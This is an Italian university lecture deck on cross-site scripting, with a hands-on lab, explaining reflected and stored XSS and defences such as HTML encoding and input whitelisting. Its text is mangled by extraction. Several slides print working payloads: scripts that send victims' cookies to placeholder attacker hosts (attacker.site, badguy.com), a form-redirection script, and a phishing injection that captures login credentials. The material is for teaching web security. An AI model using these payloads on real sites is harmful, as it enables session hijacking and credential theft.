Title: Cross Site Scripting
1Cross Site Scripting
C Consiglio Nazionale delle Ricerche Iit
Istituto di Informatica e Telematica - Pisa
Università G. dAnnunzioDipartimento di
Scienze, Pescara
2Cos'è il CSS?
- Una tecnica che consente agli hacker di
- Eseguire script dannoso nel browser Web di un
client - Inserire tag ltscriptgt, ltobjectgt, ltappletgt,
ltformgt e ltembedgt - Rubare informazioni sulla sessione Web e cookie
di autenticazione - Accedere al computer client
Qualsiasi pagina Web che esegue il rendering
HTMLe contenente input dell'utente è vulnerabile
3A.4 Principi di Cross-Site-Scripting (XSS)
Attacker
2 Risposta
DataBase
Web server www.my-banca.it
App. server
WebApp vulnerabile al XSS
user
4A.4 Cross-Site-Scripting (2)
- GET /welcome.cgi?nameltscriptgtalert(document.cooki
e)lt/scriptgt HTTP/1.0 - Host www.my-banca.it
- ...
- La risposta del sito vulnerabile sarà la seguente
(interpretata sul browser dellutente ignaro) - ltHTMLgt
- ltTitlegtWelcome!lt/Titlegt
- Hi ltscriptgtalert(document.cookie)lt/scriptgt
- ltBRgt Welcome to our system
- ...
- lt/HTMLgt
5A.4 Cross-Site-Scripting (3)
- Il malicious link può essere
- http//www.my-banca.it/welcome.cgi?nameltscriptgtwi
ndow.open(http//www.attacker.site/collect.cgi?co
okie2Bdocument.cookie)lt/scriptgt - La risposta del server sarÃ
- ltHTMLgt
- ltTitlegtWelcome!lt/Titlegt
- Hi
- ltscriptgtwindow.open(http//www.attacker.site/coll
ect.cgi?cookiedocument.cookie)lt/scriptgt - ltBRgtWelcome to our system
- ...
- lt/HTMLgt
Redirezione del contenuto del cookie dellutente
ignaro verso il server dellattaccante
6Due impieghi comuni del CSS
- Attaccare le piattaforme di posta elettronica
basate sul Web e i forum - Utilizzo dei tag ltformgt HTML per reindirizzare
informazioni private
7Attacchi basati su form (1 di 2)
Response.Write("Welcome" Request.QueryString("U
serName"))
8Site soggetti a XSS/CSS
- Vediamo lesempio
- http//localhost/CrossScripting/Login.aspx
9Proviamo..
- Iniettiamo codice e vediamo che succede
-
- ltscriptgtalert(ciao)lt/scriptgt
- ltscriptgtalert(document.cookie)lt/scriptgt
- Script eseguito sul mio browser
- Ma come faccio io attaccante che non sono su
macchina del client .. a prendermi il cookie?? - cerco il campo di input
- txtname
10- E se chiamo la pagina cosi?
- http//localhost/CrossScripting/Login.aspx?txtname
ltscriptgtalert('ciao')lt/scriptgt - Funziona lo stesso!!
- Quindi se mando link a Maria e lei clicca esegue
sul suo browser (credendo di andare al suo sito)
il mio script!!
11Attacchi basati su form (1 di 2)
Response.Write("Welcome" Request.QueryString("U
serName"))
12-
- Ma come faccio io attaccante ad avere le info sul
mio sito e non sullo schermo di Maria??
13Attacchi basati su form (2 di 2)
lta hrefhttp//www.contoso.msft/welcome.asp?name
ltFORM actionhttp//www. nwtraders.msft/data.asp
methodpost ididFormgt ltINPUT
namecookie typehiddengt lt/FORMgt
ltSCRIPTgt idForm.cookie.valuedocument.cookie
idForm.submit() lt/SCRIPTgt gt here lt/agt
14- ltscriptgt
- window.onload function()
-
- document.forms0.onsubmit function ()
-
- return Hack()
-
-
- function Hack()
-
- var action"http//localhost/Hack/Hack.asp"
- document.forms0.actionactiondocument.forms0
.method"GET" - return true
-
- lt/scriptgt
15In generale
- Se ho input di questo tipo
- http//victim.com/search.php ? term apple
- search.php responds with
- ltHTMLgt ltTITLEgt Search Results lt/TITLEgt
- ltBODYgt
- Results for lt?php echo _GETterm ?gt
- . . .
- lt/BODYgt lt/HTMLgt
16Posso usarlo cosi!!
- http//victim.com/search.php ? term
- ltscriptgt window.open(
- http//badguy.com?cookie
- document.cookie ) lt/scriptgt
- Se la mia vittima clicca su questo link?
- Browser va a victim.com/search.php
- Victim.com restituisce
- ltHTMLgt Results for ltscriptgt lt/scriptgt
- Browser executes script
- Sends badguy.com cookie for victim.com
17So what?
- Perche un utente dovrebbe cliccare su quel link?
- Phishing email in webmail client (e.g. gmail).
- Link in doubleclick banner ad
- many many ways to fool user into clicking
- Vedi esempio mail poste.it!!
- Cosa ci fa badguy.com con il cookie di victim.com
? - Puo essere usato per spacciarsi per quellutente
per esempio!! (vedi lezione su cookies!!)
18Even worse
- Attacker can execute arbitrary scripts in browser
- Can manipulate any DOM component on victim.com
- Control links on page
- Control form fields (e.g. password field) on this
page and linked pages. - Can infect other users MySpace.com worm.
19Difesa
20Avoiding XSS bugs (PHP)
- Main problem
- Input checking is difficult --- many ways to
inject scripts into HTML. - Preprocess input from user before echoing it
- PHP htmlspecialchars(string)
- ? amp " ? quot ' ? 039
lt ? lt gt ? gt - htmlspecialchars( "lta href'test'gtTestlt/agt",
ENT_QUOTES) - Outputs lta href039test039gtTest
lt/agt
21Avoiding XSS bugs (ASP.NET)
- ASP.NET 1.1
- Server.HtmlEncode(string)
- Similar to PHP htmlspecialchars
- validateRequest (on by default)
- Crashes page if finds ltscriptgt in POST data.
- Looks for hardcoded list of patterns.
- Can be disabled
- lt_at_ Page validateRequestfalse"Â gt
22(No Transcript)
23Esercizio lab
24esercizio
- In this scenario, you have a web application that
supports both anonymous and authenticated users,
the latter of which are authenticated using
ASP.NET Forms logon. The application is a message
board which allows any user to post a message
that all others can read.
25Giochiamo con lapplicazione
- 2 utenti registrati (hard coded (no db))
- alice password
- bob password
- Entriamo come alice e inviamo un messaggio
- NO HTML
- Ora entriamo come black hat (anonimo) e vediamo
se supporta XSS ? - Si!!
26Postiamo questo codice!!
- lth2gtWow, this site has a nasty XSS
vulnerability!lt/h2gt - ltinput type'button' value'Click me for a
laugh!' onclick'changePersonality()'/gt - lth2gtI wonder if I can see your cookie with this
script?lt/h2gt - ltinput type'button' value'Click to see your
cookie!' onclick'alert(document.cookie)'/gt - lth2gtHey, would you post your cookie to my website
please?lt/h2gt - ltinput type'button' value'Click to POST your
cookie!' onclick'alert("Just kidding, but keep
in mind that a real attacker would not ask before
doing this!")'/gt - ltscriptgt
- function changePersonality()
- var image document.images0
- if (image.src.match('google'))
- // switch back to Fabrikam
- image.src 'art/Fabrikam.gif'
-
- else
- // switch to Google
- image.src 'http//www.google.com/intl/en/images
/logo.gif' -
-
- lt/scriptgt
27Ora immaginiamo ..
- Che alice entri e veda il codice
- Alice non lo sa ma
- Attaccante ha controllo completo della pagina
- (vedi come cambia immagine)
- Attaccante puo rubare informazioni da alice (o
meglio per ora le visualizza e basta, ma potrebbe
facilmente reindirizzarle (ricordatevi esempi
precedenti) - Visualizza cookies
28Difesa
- Usare htmlencode su testo output!
- text Server.HtmlEncode(r.ReadToEnd())
- Filtra input
- // filter the input using a whitelist - look for
what is good! - string pattern _at_"-\s\w\d.,!_at_?()\/
\\""'" - if (!Regex.IsMatch(text, pattern,
RegexOptions.Multiline)) - string errorMessage "Your post has one or
more disallowed " - "characters (no HTML,
please)." - Response.Redirect(_at_"\error.aspx?msg"
- Server.UrlEncode(errorMessage))
- return
-
- Sembra tutto a posto ora??
- E invece no? chi sa perchè?
29XSS su error page
- Error chiamata con un parametro di input!!
- Proviamo a cambiare input!
- ciao a tutti ? funziona!!
- Posso modificare la pagina come voglio!!
- Phishing attack!!
- lab-css\CrossSiteScripting\before\XSSWeb\phishing_
email.htm - Il link nella pagina porta alla pagina di errore
opportunamente modificata!!
30Ecco il messaggio per la pag di errore
- var html "Please log in. You will be
automatically registered for a free gift!" - "ltscriptgt"
- "var u, p"
- "function myLogon() "
- "u document.getElementById('c
tl00LoginView1Login1UserName').value" - "p document.getElementById('c
tl00LoginView1Login1Password').value" - ""
- "function thanks() "
- "var msg 'Your gift will be
shipped within 7 business days. Thanks again for
your loyalty! " - "Oh and by the way,
I learned something about you today. " - "Your user name is
' 2B u 2B ' and your password is ' 2B p" - "document.getElementById('ctl00
_MainBody_message').innerTextmsg" - ""
- "document.getElementById('ctl00_l
blFormTitle').lastChild.nodeValue'Loyalty
Gift'" - "document.getElementById('ctl00_l
blPageTitle').lastChild.nodeValue'Loyalty
Gift'" - "document.getElementById('ctl00L
oginView1Login1LoginButton').onclick
myLogon" - "document.forms0.action
'javascriptthanks()'" - "lt\/scriptgt"
31Fix la pagina error!
- Su error page
- Htmlencode input
- message.Text Server.HtmlEncode(Request.QueryStri
ng"msg") - Nota su web.config
- ltpages validateRequest"false"/gt ? trrue